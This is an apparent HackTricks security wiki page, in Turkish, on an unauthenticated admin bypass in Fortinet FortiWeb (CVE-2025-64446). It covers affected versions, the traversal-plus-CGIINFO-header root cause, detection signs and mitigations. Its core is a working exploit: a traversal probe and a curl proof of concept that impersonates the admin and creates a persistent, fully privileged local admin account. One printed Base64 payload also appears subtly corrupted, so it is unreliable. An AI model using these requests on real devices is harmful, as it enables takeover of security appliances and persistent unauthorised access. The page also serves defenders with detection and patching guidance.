Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Genel Bakış
Fortinet FortiWeb, merkezi bir CGI dispatcher’ı /cgi-bin/fwbcgi adresinde açığa çıkarır. İki hata zinciri, kimliği doğrulanmamış uzak bir saldırganın şunları yapmasına izin verir:
fwbcgi’ye ulaşmak için URL’yi geçerli bir API prefix ile başlatarak ve dizinlerde traversal yaparak.- CGI’nin kimlik olarak güvendiği özel bir HTTP header sağlayarak herhangi bir kullanıcıyı (yerleşik
admindahil) taklit etmek.
Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Gerçek dünyada istismar edilerek kalıcı admin kullanıcılar oluşturulduğu gözlemlenmiştir.
Etkilenen sürümler (kamuya açık olarak belgelenmiş):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2, aşağıdaki traversal probe için HTTP 403 döner.
Hızlı zafiyet testi
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Yorum: HTTP 200 → muhtemelen zafiyetli; HTTP 403 → yama uygulanmış.
Kök neden zinciri
- API-prefix path traversal to internal CGI
- Geçerli bir FortiWeb API önekiyle başlayan herhangi bir istek yolu (örn.
/api/v2.0/cmdb/veya/api/v2.0/cmd/)../kullanarak/cgi-bin/fwbcgi’ye erişebilir.
- Minimal-body validation bypass
fwbcgi’ye ulaşıldığında, ilk kontrol/var/log/inputcheck/altındaki per-path dosya tarafından anahtarlanan izin verici bir JSON kontrolü yapar. Dosya yoksa kontrol hemen geçer. Dosya varsa, body’nin sadece geçerli JSON olması yeterlidir. Minimal uyumlu body olarak{}kullanın.
- Header-driven user impersonation
- Program CGI environment variable
HTTP_CGIINFO’ı (HTTP headerCGIINFO’den türetilir) okur, Base64 ile çözer, JSON parse eder ve alanları doğrudan giriş bağlamına kopyalayarak domain/VDOM’u ayarlar. İlgi çekici anahtarlar: username,loginname,vdom,profname- Yerleşik admin’i taklit etmek için örnek JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Yukarıdakinin Base64’i (gerçek dünyada kullanıldığı gibi):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Uçtan uca kötüye kullanım deseni (unauthenticated → admin)
- API-prefix traversal ile /cgi-bin/fwbcgi’ye erişin.
- Girdi kontrolünü geçmek için herhangi bir geçerli JSON gövdesi (ör.
{}) sağlayın. - JSON’un hedef kimliği tanımladığı
CGIINFO: <base64(json)>başlığını gönderin. - Ayrıcalıklı işlemleri gerçekleştirmek için
fwbcgitarafından beklenen backend JSON’u POST edin (ör. kalıcılık için bir admin kullanıcısı oluşturmak).
Minimal cURL PoC
- Traversal exposure’ı test edin:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- admin’i taklit et ve yeni bir yerel admin kullanıcı oluştur:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Notlar:
- Herhangi bir geçerli JSON body yeterlidir (örn.
{}) eğer/var/log/inputcheck/<path>.jsonmevcut değilse. - Action schema FortiWeb-dahili; yukarıdaki örnek tam yetkili bir local admin ekler.
Tespit
../içeren API-ön ekli yollar üzerinden/cgi-bin/fwbcgi’ye ulaşan talepler (örn./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).CGIINFObaşlığı içindeusername/loginname/vdom/profnameanahtarlarını içeren Base64 JSON varlığı.- Arka uç artefaktları:
/var/log/inputcheck/altında yol başına dosyalar (gate konfigürasyonu).- Beklenmeyen admin oluşturulması ve konfigürasyon değişiklikleri.
- Hızlı doğrulama: traversal probe’un 200 döndürmesi (açık) vs 403 (düzeltilmiş sürümlerde engellenmiş).
Hafifletme
- Satıcı duyurusuna göre düzeltilmiş sürümlere yükseltin (örnekler: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12).
- Yama uygulanana kadar:
- FortiWeb yönetim düzlemini güvenilmeyen ağlara açmayın.
- Aşağıdakileri engellemek için reverse-proxy/WAF kuralları ekleyin:
/api/ile başlayan ve../cgi-bin/fwbcgiiçeren yollar.CGIINFObaşlığı taşıyan istekler.- Yukarıdaki tespit göstergelerini izleyin ve alarm kurun.
Referanslar
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

